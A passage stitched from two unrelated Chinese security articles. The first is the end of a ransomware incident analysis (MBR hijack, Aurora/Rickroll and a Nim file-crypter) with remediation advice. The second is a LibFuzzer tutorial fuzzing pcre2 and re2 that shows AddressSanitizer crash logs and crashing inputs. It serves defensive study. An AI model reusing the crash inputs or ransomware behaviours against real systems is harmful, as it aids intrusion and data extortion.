检测是否有键盘按键信息 如果有按键信息，则读取相应的勒索信息，弹出信息勒索信息显示界面。
骷髅头字符信息：
重启机器后的显示效果：
本次事件，攻击者使用了此恶意破坏模块来劫持系统进行勒索。
### 2\. update.exe – Aurora变种勒索软件
执行的勒索代码是在二阶段中由BlowFish算法加密压缩的。
样本通过创建傀儡进程的方式来执行勒索代码。
此勒索样本的PDB信息如下，勒索病毒为Aurora。
勒索样本中依旧做了虚拟机检测。
设置一个启动项，名称为MSFEEditor。
要加密文件的后缀列表如下：
1CD, doc, docx, xls, xlsx, ppt, pptx, pst, ost, msg, eml, vsd, vsdx, txt, csv,
rtf, 123, wks, wk1, pdf, dwg, onetoc2, snt, jpeg, jpg, docb, docm, dot, dotm,
dotx, xlsm, xlsb, xlw, xlt, xlm, xlc, xltx, xltm, pptm, pot, pps, ppsm, ppsx,
ppam, potx, potm, edb, hwp, 602, sxi, sti, sldx, sldm, vdi, vmdk, vmx, gpg,
aes, ARC, PAQ, bz2, tbk, bak, tar, tgz, rar, zip, backup, iso, vcd, bmp, png,
gif, raw, cgm, tif, tiff, nef, psd, svg, djvu, m4u, m3u, mid, wma, flv, 3g2,
mkv, 3gp, mp4, mov, avi, asf, mpeg, vob, mpg, wmv, fla, swf, wav, mp3, class,
jar, java, asp, php, jsp, brd, sch, dch, dip, vbs, ps1, bat, cmd, asm, pas,
cpp, suo, sln, ldf, mdf, ibd, myi, myd, frm, odb, dbf, mdb, accdb, sql,
sqlitedb, sqlite3, asc, lay6, lay, mml, sxm, otg, odg, uop, std, sxd, otp,
odp, wb2, slk, dif, stc, sxc, ots, ods, 3dm, max, 3ds, uot, stw, sxw, ott,
odt, pem, p12, csr, crt, key, pfx, der。
如果成功，则创建每个目录下创建“RICKROLL_BLOCKED.txt、RICKROLL_HELP.txt、RICKROLL_MESSAGE.txt”文件，展示勒索信息。
勒索具体信息如下
加密用的密钥，每次运行都重新生成，生成后得相关信息，保存到%APPDATA%/000000000.key。
遍历目录加密，加密后的文件后缀为：.rickroll。
使用了类似TEA算法对称加密算法。
加密完成后，删除启动项。
### 3\. update2.exe – libsodium-file-crypter开源项目
updata2.exe同样采用创建傀儡进程的方式来运行，勒索软件采用NIM语言编写。
首先判断%AppData%\Roaming路径下是否有 lock_file，若已存在该文件，则进程退出。
判断当前进程是否在%AppData%\Roaming目录下，若路径不是则拷贝文件到该目录下，文件名为随机数字 ，并把拷贝过去的文件设置成自启动项。
从倒叙的英文26个字母中选择一位作为磁盘名，判断是否为可用磁盘，若是可用磁盘进行后续文件遍历加密操作。
之后创建多个线程实现文件遍历加密工作，排除c:windows目录下的文件和后缀名为exe/dll的文件不进行加密，其余文件采用开源算法salsa20变种进行加密，加密后的文件后缀为.backup。
每次加密时将key等信息保存到%AppData%\Roaming\encryption_key文件中。
加密完成后在%AppData%创建一个lock_file以及一个HOW_TO_DECRYPT_FILES.html，内容为勒索信息，并展示该信息。
## 修复方案与防护建议
### 修复方案
可以通过使用PE系统登入服务器，使用磁盘工具搜索磁盘，并使用安全工具恢复MBR即可解决系统无法启动的问题。
### 安全防护建议
1\. 对于已中招服务器下线隔离。
2\. 对于未中招服务器
1）在网络边界防火墙上全局关闭3389端口或3389端口只对特定IP开放。
2）开启Windows防火墙，尽量关闭3389、445、139、135等不用的高危端口。
3）每台服务器设置唯一口令，且复杂度要求采用大小写字母、数字、特殊符号混合的组合结构，口令位数足够长（15位、两种组合以上）。
4）安装终端安全防护软件。
## 参考链接
[1]. Aurora/Zorro：勒索软件之换皮重出江湖
https://www.freebuf.com/news/190363.html
[2].TEA介绍
https://www.cnblogs.com/chevin/p/5681228.html
[3]. libsodium-file-crypter开源项目
https://github.com/jpiechowka/libsodium-file-crypter | 社区文章 |
# LibFuzzer workshop学习之路（final）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## libfuzzer workshop学习之路 final
>
> workshop一共给出了11个lesson，每一个lesson都会涉及到一些新的东西，这篇以最后的两个案例(对re2和pcre2的fuzz)为例，会涉及到一些链接库的选择以及插桩编译时的一些参数的设置，还有max_len的设置对我们最后fuzz结果的影响。
## fuzzing pcre2
pcre2:`Perl Compatible Regular Expressions Version
2`(Perl兼容的正则表达式)即是一个C语言编写的正则表达式函数库，被很多开源软件所使用比如PHP，Apache，Nmap等。
workshop提供的pcre2版本是10.00，先进行源码编译工作。
tar xzf pcre2-10.00.tgz
cd pcre2-10.00
./autogen.sh
export FUZZ_CXXFLAGS="-O2 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address,fuzzer-no-link -fsanitize-address-use-after-scope"
CXX="clang++ $FUZZ_CXXFLAGS" CC="clang $FUZZ_CXXFLAGS" \
CCLD="clang++ $FUZZ_CXXFLAGS" ./configure --enable-never-backslash-C \
--with-match-limit=1000 --with-match-limit-recursion=1000
make -j
这里的一些插桩的参数和进阶篇的差不多，要注意的编译选项是`fuzzer-no-link`，如果修改大型项目的CFLAGS，它也需要编译自己的主符号的可执行文件，则可能需要在不链接的情况下仅请求检测，即`fuzzer-no-link`强制在链接阶段不生效。因此当我在插桩编译一个较大的开源库的时候推荐加上这个选项，如果不加的话fuzz效率如下：
#2 INITED cov: 7 ft: 8 corp: 1/1b exec/s: 0 rss: 27Mb
#3 NEW cov: 9 ft: 10 corp: 2/5b lim: 4 exec/s: 0 rss: 27Mb L: 4/4 MS: 1 CrossOver- #7 REDUCE cov: 9 ft: 10 corp: 2/3b lim: 4 exec/s: 0 rss: 28Mb L: 2/2 MS: 4 ChangeByte-CrossOver-ChangeBinInt-EraseBytes- #35 REDUCE cov: 10 ft: 11 corp: 3/5b lim: 4 exec/s: 0 rss: 28Mb L: 2/2 MS: 3 CopyPart-ChangeByte-EraseBytes- #146 REDUCE cov: 10 ft: 11 corp: 3/4b lim: 4 exec/s: 0 rss: 28Mb L: 1/2 MS: 1 EraseBytes- #1491 REDUCE cov: 16 ft: 17 corp: 4/21b lim: 17 exec/s: 0 rss: 28Mb L: 17/17 MS: 5 ChangeBit-ShuffleBytes-InsertRepeatedBytes-ChangeBit-CrossOver- #1889 REDUCE cov: 16 ft: 17 corp: 4/20b lim: 17 exec/s: 0 rss: 28Mb L: 16/16 MS: 3 ShuffleBytes-CopyPart-EraseBytes- #524288 pulse cov: 16 ft: 17 corp: 4/20b lim: 4096 exec/s: 87381 rss: 830Mb
#1048576 pulse cov: 16 ft: 17 corp: 4/20b lim: 4096 exec/s: 104857 rss: 830Mb
#2097152 pulse cov: 16 ft: 17 corp: 4/20b lim: 4096 exec/s: 123361 rss: 830Mb
#4194304 pulse cov: 16 ft: 17 corp: 4/20b lim: 4096 exec/s: 127100 rss: 830Mb
#8388608 pulse cov: 16 ft: 17 corp: 4/20b lim: 4096 exec/s: 131072 rss: 830Mb
另外，在执行configure生成makefile时针对pcre2添加了一些参数：
`--with-match-limit=1000`:限制一次匹配时使用的资源数为1000,默认值为10000000
`--with-match-limit-recursion=1000`:限制一次匹配时的递归深度为1000,默认为10000000(几乎可以说是无限)
`--enable-never-backslash-C`:禁用在字符串中，将反斜线作为转义序列接受。
编译好开源库后就要研究harness了，workshop提供的如下：
// Copyright 2016 Google Inc. All Rights Reserved.
// Licensed under the Apache License, Version 2.0 (the "License");
#include <stdint.h>
#include <stddef.h>
#include <string>
#include "pcre2posix.h"
using std::string;
extern "C" int LLVMFuzzerTestOneInput(const unsigned char *data, size_t size) {
if (size < 1) return 0;
regex_t preg;
string str(reinterpret_cast<const char*>(data), size);
string pat(str);
int flags = data[size/2] - 'a'; // Make it 0 when the byte is 'a'.
if (0 == regcomp(&preg, pat.c_str(), flags)) {
regmatch_t pmatch[5];
regexec(&preg, str.c_str(), 5, pmatch, 0);
regfree(&preg);
}
return 0;
}
解释一下逻辑：首先将样本输入中的’a’置0，之后通过regcomp()函数编译正则表达式，即将指定的正则表达式pat.c_str()编译为特定数据格式preg，使得匹配更加有效。函数regexec()会使用这个数据在目标文本串中进行模式匹配，之后regfree()释放正则表达式。
这个harness通过include库”pcre2posix.h”，将pcre2主要的函数包含在了里面，同时这些函数涉及到的一些内存相关的操作也常常是触发crash的点。
之后进行编译链接：
clang++ -O2 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address,fuzzer-no-link -fsanitize-address-use-after-scope pcre2_fuzzer.cc -I pcre2-10.00/src -Wl,--whole-archive pcre2-10.00/.libs/libpcre2-8.a pcre2-10.00/.libs/libpcre2-posix.a -Wl,-no-whole-archive -fsanitize=fuzzer -o pcre2-10.00-fsanitize_fuzzer
和之前不同，这次多了一些参数：`--whole-archive`和`--no-whole-archive`是ld专有的命令行参数，clang++并不认识，要通过clang++传递到ld，需要在他们前面加`-Wl`。`--whole-archive`可以把 在其后面出现的静态库包含的函数和变量输出到动态库，`--no-whole-archive`则关掉这个特性，因此这里将两个静态库libpcre2-8.a和libpcre2-posix.a里的符号输出到动态库里，使得程序可以在运行时动态链接使用到的函数，也使得fuzz效率得到了提升。执行一下很快得到了crash:
#538040 NEW cov: 3286 ft: 15824 corp: 6803/133Kb lim: 74 exec/s: 1775 rss: 775Mb L: 24/74 MS: 3 ChangeASCIIInt-ChangeASCIIInt-EraseBytes- #538092 REDUCE cov: 3286 ft: 15824 corp: 6803/133Kb lim: 74 exec/s: 1775 rss: 775Mb L: 23/74 MS: 2 CopyPart-EraseBytes- #538098 REDUCE cov: 3286 ft: 15824 corp: 6803/133Kb lim: 74 exec/s: 1758 rss: 775Mb L: 6/74 MS: 1 EraseBytes- #538204 REDUCE cov: 3286 ft: 15824 corp: 6803/133Kb lim: 74 exec/s: 1758 rss: 775Mb L: 16/74 MS: 1 EraseBytes- #538415 REDUCE cov: 3286 ft: 15825 corp: 6804/134Kb lim: 74 exec/s: 1759 rss: 775Mb L: 35/74 MS: 1 ShuffleBytes- =================================================================
==17319==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe809de45f at pc 0x0000005e1518 bp 0x7ffe809dd8f0 sp 0x7ffe809dd8e8
READ of size 1 at 0x7ffe809de45f thread T0
#0 0x5e1517 in match /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_match.c:5968:11
#1 0x5a0624 in pcre2_match_8 /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_match.c:6876:8
#2 0x5f5e64 in regexec /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2posix.c:291:6
#3 0x551947 in LLVMFuzzerTestOneInput /home/admin/libfuzzer-workshop/lessons/11/pcre2_fuzzer.cc:21:5
#4 0x459661 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /local/mnt/workspace/bcain_clang_bcain-ubuntu_23113/llvm/utils/release/final/llvm.src/projects/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:553:15
#5 0x458ea5 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) /local/mnt/workspace/bcain_clang_bcain-ubuntu_23113/llvm/utils/release/final/llvm.src/projects/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:469:3
#6 0x45b147 in fuzzer::Fuzzer::MutateAndTestOne() /local/mnt/workspace/bcain_clang_bcain-ubuntu_23113/llvm/utils/release/final/llvm.src/projects/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:695:19
#7 0x45be65 in fuzzer::Fuzzer::Loop(std::Fuzzer::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) /local/mnt/workspace/bcain_clang_bcain-ubuntu_23113/llvm/utils/release/final/llvm.src/projects/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:831:5
#8 0x449c28 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /local/mnt/workspace/bcain_clang_bcain-ubuntu_23113/llvm/utils/release/final/llvm.src/projects/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:825:6
#9 0x473092 in main /local/mnt/workspace/bcain_clang_bcain-ubuntu_23113/llvm/utils/release/final/llvm.src/projects/compiler-rt/lib/fuzzer/FuzzerMain.cpp:19:10
#10 0x7f0d3f5c3bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#11 0x41ddb9 in _start (/home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00-fsanitize_fuzzer+0x41ddb9)
Address 0x7ffe809de45f is located in stack of thread T0 at offset 159 in frame
#0 0x55136f in LLVMFuzzerTestOneInput /home/admin/libfuzzer-workshop/lessons/11/pcre2_fuzzer.cc:13
This frame has 6 object(s):
[32, 40) '__dnew.i.i.i.i26'
[64, 72) '__dnew.i.i.i.i'
[96, 128) 'preg' (line 15)
[160, 192) 'str' (line 16) <== Memory access at offset 159 underflows this variable
[224, 256) 'pat' (line 17)
[288, 328) 'pmatch' (line 20)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_match.c:5968:11 in match
Shadow bytes around the buggy address:
0x100050133c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100050133c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100050133c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100050133c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100050133c70: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 f8 f2 f2 f2
=>0x100050133c80: f8 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00 00 00
0x100050133c90: f2 f2 f2 f2 00 00 00 00 f2 f2 f2 f2 00 00 00 00
0x100050133ca0: 00 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
0x100050133cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100050133cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100050133cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==17319==ABORTING
MS: 1 ChangeBit-; base unit: 7a9e5264e8896a1d996088a56a315765c53c7b33
0x5c,0x43,0x2b,0x5c,0x53,0x2b,0xde,0xac,0xd4,0xa3,0x53,0x2b,0x21,0x21,0x68,
\\C+\\S+\xde\xac\xd4\xa3S+!!h
artifact_prefix='./'; Test unit written to ./crash-5ae911f7e958e646e05ebe28421183f6efc0bc88
Base64: XEMrXFMr3qzUo1MrISFo
`SUMMARY: AddressSanitizer: stack-buffer-overflow /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_match.c:5968:11 in
match`指出在pcre2_match.c里存在stackoverflow。对漏洞进行定位：
在pcre2posix.c中调用了pcre2_match
#in pcre2posix.c
rc = pcre2_match((const pcre2_code *)preg->re_pcre2_code,(PCRE2_SPTR)string + so, (eo - so), 0, options, md, NULL);
pcre2_match定义在pcre2_match.c中，在pcre2_match中调用了match函数：
#in pcre2_match.c
rc = match(start_match, mb->start_code, start_match, 2, mb, NULL, 0);
在执行match的过程中出现栈溢出的位置在于：
for(;;)
{
if (eptr == pp) goto TAIL_RECURSE;
RMATCH(eptr, ecode, offset_top, mb, eptrb, RM46);
if (rrc != MATCH_NOMATCH) RRETURN(rrc);
eptr--;
BACKCHAR(eptr); //overflow处
if (ctype == OP_ANYNL && eptr > pp && UCHAR21(eptr) == CHAR_NL &&
UCHAR21(eptr - 1) == CHAR_CR) eptr--;
}
当我以为fuzz的工作已经完成的时候，只是尝试着修改了一下编译链接harness时的静态库为全部库：
clang++ -O2 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address,fuzzer-no-link -fsanitize-address-use-after-scope pcre2_fuzzer.cc -I pcre2-10.00/src -Wl,--whole-archive pcre2-10.00/.libs/*.a -Wl,-no-whole-archive -fsanitize=fuzzer -o pcre2-10.00-fsanitize_fuzzer
再次fuzz的结果令我惊讶：
#605510 REDUCE cov: 3273 ft: 15706 corp: 6963/139Kb lim: 86 exec/s: 255 rss: 597Mb L: 18/86 MS: 1 EraseBytes- #605733 NEW cov: 3273 ft: 15707 corp: 6964/139Kb lim: 86 exec/s: 255 rss: 597Mb L: 29/86 MS: 3 ShuffleBytes-CopyPart-CMP- DE: "+n"- #605994 REDUCE cov: 3273 ft: 15707 corp: 6964/139Kb lim: 86 exec/s: 255 rss: 597Mb L: 36/86 MS: 1 EraseBytes- #606040 REDUCE cov: 3273 ft: 15707 corp: 6964/139Kb lim: 86 exec/s: 255 rss: 597Mb L: 19/86 MS: 1 EraseBytes- #606121 NEW cov: 3273 ft: 15708 corp: 6965/139Kb lim: 86 exec/s: 255 rss: 597Mb L: 27/86 MS: 1 CopyPart- #606196 NEW cov: 3273 ft: 15709 corp: 6966/139Kb lim: 86 exec/s: 255 rss: 597Mb L: 86/86 MS: 5 ChangeASCIIInt-ChangeBit-ChangeBit-ChangeASCIIInt-CrossOver- =================================================================
==10857==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110001625ea at pc 0x00000055d548 bp 0x7ffccf4098f0 sp 0x7ffccf4098e8
WRITE of size 1 at 0x6110001625ea thread T0
#0 0x55d547 in _pcre2_ord2utf_8 /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_ord2utf.c:92:12
#1 0x4f60f4 in add_to_class /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_compile.c:2870:20
#2 0x4f5dd0 in add_to_class /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_compile.c:2820:18
#3 0x4e03e0 in compile_branch /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_compile.c:3923:11
#4 0x4d3f2f in compile_regex /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_compile.c:6723:8
#5 0x4d136c in pcre2_compile_8 /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_compile.c:7734:7
#6 0x56c3b3 in regcomp /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2posix.c:219:23
#7 0x4c83c9 in LLVMFuzzerTestOneInput /home/admin/libfuzzer-workshop/lessons/11/pcre2_fuzzer.cc:19:12
#8 0x585632 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:556:15
#9 0x584cd5 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:470:3
#10 0x58606c in fuzzer::Fuzzer::MutateAndTestOne() /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:698:19
#11 0x586c75 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:830:5
#12 0x572b8b in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerDriver.cpp:824:6
#13 0x56cc20 in main /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerMain.cpp:19:10
#14 0x7f16a7ecbbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#15 0x41deb9 in _start (/home/admin/libfuzzer-workshop/lessons/11/pcre2_10.00_fuzzer+0x41deb9)
0x6110001625ea is located 0 bytes to the right of 234-byte region [0x611000162500,0x6110001625ea)
allocated by thread T0 here:
#0 0x495dbd in malloc /local/mnt/workspace/bcain_clang_bcain-ubuntu_23113/llvm/utils/release/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:145:3
#1 0x4d0953 in pcre2_compile_8 /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_compile.c:7656:3
#2 0x56c3b3 in regcomp /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2posix.c:219:23
#3 0x4c83c9 in LLVMFuzzerTestOneInput /home/admin/libfuzzer-workshop/lessons/11/pcre2_fuzzer.cc:19:12
#4 0x585632 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:556:15
#5 0x584cd5 in fuzzer::Fuzzer::RunOne(unsigned char const*, unsigned long, bool, fuzzer::InputInfo*, bool*) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:470:3
#6 0x58606c in fuzzer::Fuzzer::MutateAndTestOne() /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:698:19
#7 0x586c75 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, fuzzer::fuzzer_allocator<fuzzer::SizedFile> >&) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerLoop.cpp:830:5
#8 0x572b8b in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerDriver.cpp:824:6
#9 0x56cc20 in main /home/admin/libfuzzer-workshop/libFuzzer/Fuzzer/./FuzzerMain.cpp:19:10
#10 0x7f16a7ecbbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_ord2utf.c:92:12 in _pcre2_ord2utf_8
Shadow bytes around the buggy address:
0x0c2280024460: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c2280024470: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c2280024480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2280024490: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c22800244a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c22800244b0: 00 00 00 00 00 00 00 00 00 00 00 00 00[02]fa fa
0x0c22800244c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c22800244d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c22800244e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c22800244f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280024500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==10857==ABORTING
MS: 5 InsertRepeatedBytes-CMP-CrossOver-ChangeBit-CrossOver- DE: "+\xc6"-; base unit: ce48e02587af5cb5d3e84053d6d5b4545bbb6e32
0x5b,0x2a,0x5d,0x3f,0x5b,0x3f,0x3f,0x5c,0x53,0x3f,0x5b,0x2a,0x5d,0x3f,0x5b,0x3f,0x3f,0x5c,0x53,0x2a,0x63,0x20,0x20,0x20,0x25,0xc6,0xa4,0x1a,0x2d,0x5b,0x43,0x1a,0x2d,0xc6,0xa4,0x5d,0x50,0x2a,0x5d,0x50,0x2a,0x5e,0x58,0x42,0x5c,0x5c,0x3f,0x77,0xc,0x5c,0x77,0x0,0x36,0x5c,0x20,0xa0,0xc0,0xec,0x2d,0x3f,0x5c,0x77,0x3f,0x5c,0x2d,0xac,0x3f,0x5c,
[*]?[??\\S?[*]?[??\\S*c %\xc6\xa4\x1a-[C\x1a-\xc6\xa4]P*]P*^XB\\\\?w\x0c\\w\x006\\ \xa0\xc0\xec-?\\w?\\-\xac?\\
artifact_prefix='./'; Test unit written to ./crash-849705875bb2098817f3299ee582e2207a568e63
Base64: WypdP1s/P1xTP1sqXT9bPz9cUypjICAgJcakGi1bQxotxqRdUCpdUCpeWEJcXD93DFx3ADZcIKDA7C0/XHc/XC2sP1w=
stat::number_of_executed_units: 606206
stat::average_exec_per_sec: 255
stat::new_units_added: 8960
stat::slowest_unit_time_sec: 0
stat::peak_rss_mb: 598
得到了一个不一样的crash。但这也在情理之中，通过链接不同或更多的静态库。只要harness程序逻辑所能涉及到，就有机会得到不同静态库里的crash。
通过`SUMMARY: AddressSanitizer: heap-buffer-overflow /home/admin/libfuzzer-workshop/lessons/11/pcre2-10.00/src/pcre2_ord2utf.c:92:12 in
_pcre2_ord2utf_8`我们了解到在pcre2_ord2utf.c中存在heapoverflow的漏洞。同样对漏洞进行定位：
这次的函数调用有点多，一层一层的找：
首先在`pcre2posix.c`中调用`pcre2_compile`：
preg->re_pcre2_code = pcre2_compile((PCRE2_SPTR)pattern, -1, options,
&errorcode, &erroffset, NULL);
该函数定义在`pcre2_compile.c`中，然后又调用了`compile_regex`:
(void)compile_regex(re->overall_options, &code, &ptr, &errorcode, FALSE, FALSE,
0, 0, &firstcu, &firstcuflags, &reqcu, &reqcuflags, NULL, &cb, NULL);
之后在函数`compile_regex`中又调用了`compile_branch`：
if (!compile_branch(&options, &code, &ptr, errorcodeptr, &branchfirstcu,
&branchfirstcuflags, &branchreqcu, &branchreqcuflags, &bc,
cond_depth, cb, (lengthptr == NULL)? NULL : &length))
{
*ptrptr = ptr;
return FALSE;
}
`compile_branch`中又调用了`add_to_class`：
class_has_8bitchar +=
add_to_class(classbits, &class_uchardata, options, cb, c, d);
接着`add_to_class`调用`PRIV`:
else if (start == end)
{
*uchardata++ = XCL_SINGLE;
uchardata += PRIV(ord2utf)(start, uchardata);
}
}
`PRIV`定义在`pcre2_ord2utf.c`中：
unsigned int
PRIV(ord2utf)(uint32_t cvalue, PCRE2_UCHAR *buffer)
{
/* Convert to UTF-8 */
#if PCRE2_CODE_UNIT_WIDTH == 8
register int i, j;
for (i = 0; i < PRIV(utf8_table1_size); i++)
if ((int)cvalue <= PRIV(utf8_table1)[i]) break;
buffer += i;
for (j = i; j > 0; j--)
{
*buffer-- = 0x80 | (cvalue & 0x3f); //此处对于内存指针循环操作由于限制条件不当导致出现了heap_overflow
cvalue >>= 6;
}
*buffer = PRIV(utf8_table2)[i] | cvalue;
return i + 1;
/* Convert to UTF-16 */
#elif PCRE2_CODE_UNIT_WIDTH == 16
if (cvalue <= 0xffff)
{
*buffer = (PCRE2_UCHAR)cvalue;
return 1;
}
cvalue -= 0x10000;
*buffer++ = 0xd800 | (cvalue >> 10);
*buffer = 0xdc00 | (cvalue & 0x3ff);
return 2;
/* Convert to UTF-32 */
#else
*buffer = (PCRE2_UCHAR)cvalue;
return 1;
#endif
}
总结下这两个crash：
第一个crash由harness中的`regexech`函数的匹配逻辑触发`stack_overflow`，位于`pcre2_match.c:5968:11`；第二个crash由`regcomp`函数的编译逻辑触发`heap_overflow`，位于`pcre2_ord2utf.c:92:12`。
一层层的函数调用关系分析得让人头大，但这也正体现了漏洞挖掘中的“挖掘”二字的含义。
## fuzzing re2
这一个例子将让我们意识到`max_len`的选择对于fuzz效率的影响。
re2是一个高效的、原则性的正则表达式库。是由两位来在Google的大神用C++实现的。Go中的regexp正则表达式包也是由re2实现的。workshop提供的是re2-2014-12-09的版本。
先源码编译：
tar xzf re2.tgz
cd re2
export FUZZ_CXXFLAGS="-O2 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address,fuzzer-no-link -fsanitize-address-use-after-scope"
make clean
CXX=clang++ CXXFLAGS="$FUZZ_CXXFLAGS" make -j
接着研究harness：
// Copyright (c) 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <stddef.h>
#include <stdint.h>
#include <string>
#include "re2/re2.h"
#include "util/logging.h"
using std::string;
void Test(const string& buffer, const string& pattern,
const RE2::Options& options) {
RE2 re(pattern, options);
if (!re.ok())
return;
string m1, m2;
int i1, i2;
double d1;
if (re.NumberOfCapturingGroups() == 0) {
RE2::FullMatch(buffer, re);
RE2::PartialMatch(buffer, re);
} else if (re.NumberOfCapturingGroups() == 1) {
RE2::FullMatch(buffer, re, &m1);
RE2::PartialMatch(buffer, re, &i1);
} else if (re.NumberOfCapturingGroups() == 2) {
RE2::FullMatch(buffer, re, &i1, &i2);
RE2::PartialMatch(buffer, re, &m1, &m2);
}
re2::StringPiece input(buffer);
RE2::Consume(&input, re, &m1);
RE2::FindAndConsume(&input, re, &d1);
string tmp1(buffer);
RE2::Replace(&tmp1, re, "zz");
string tmp2(buffer);
RE2::GlobalReplace(&tmp2, re, "xx");
RE2::QuoteMeta(re2::StringPiece(pattern));
}
// Entry point for LibFuzzer.
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if (size < 1)
return 0;
RE2::Options options;
size_t options_randomizer = 0;
for (size_t i = 0; i < size; i++)
options_randomizer += data[i];
